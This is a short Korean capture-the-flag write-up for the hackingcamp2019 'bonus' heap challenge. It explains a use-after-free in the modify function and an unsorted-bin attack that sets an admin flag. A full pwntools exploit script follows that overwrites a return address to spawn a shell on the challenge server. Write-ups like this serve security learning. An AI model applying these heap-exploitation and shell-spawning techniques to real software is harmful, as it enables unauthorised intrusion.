CTF write-up

[hackingcamp2019]bonus

youngsouk 2019. 8. 25. 20:59

전형적인 힙 문제

힙 크기를 고려해 할당해주고 있다.

free할 때 초기화를 하지 않음으로서 취약점이 발생한다.

modifyfmf 통해 free된 청크를 수정함으로서 취약점이 발생한다.

admin 체크를 해서 성공하면 rop를 할 수 있다.

이 함수를 이용하면 쉘을 딸 수 있다.

 

익스 구상

1. unsorted bin에 들어갈 청크 크기만큼 힙 2개 할당

2. 첫번째 청크를 해제하고, 그 청크의 bk를 덮어쓸 주소(admin) - 16로 저장

3. 다시 할당 그러면 admin에 main_arena + 88이 저장됨

4. 4번 메뉴 선택 -> binsh 함수 실행시켜 쉘을 딴다

 

from pwn import *

context.log_level= 'debug'

def add(size, data):
   p.sendafter('>>', '1')
   p.sendafter('>>', str(size))
   p.sendafter('>>', data)

def delete(idx):
   p.sendafter('>>', '2')
   p.sendafter('>>', str(idx))

def modify(idx, size, data):
   p.sendafter('>>', '3')
   p.sendafter('>>', str(idx))
   p.sendafter('>>', str(size))
   p.sendafter('>>', data)

#p = process('./bonu')
p = remote("pwnable.shop", 20210)
e = ELF('./bonu')
l = e.libc

shell = 0x4008B6

add(0x100, 'a')
add(0x100, 'a')
delete(0)
modify(0, 19, 'a'*8+p64(0x6020c0))
add(0x100, 'a')

p.sendafter('>>', '4')

payload = 'a' *0x30 + 'b' * 8
payload += p64(shell)

p.sendline(payload)

p.interactive()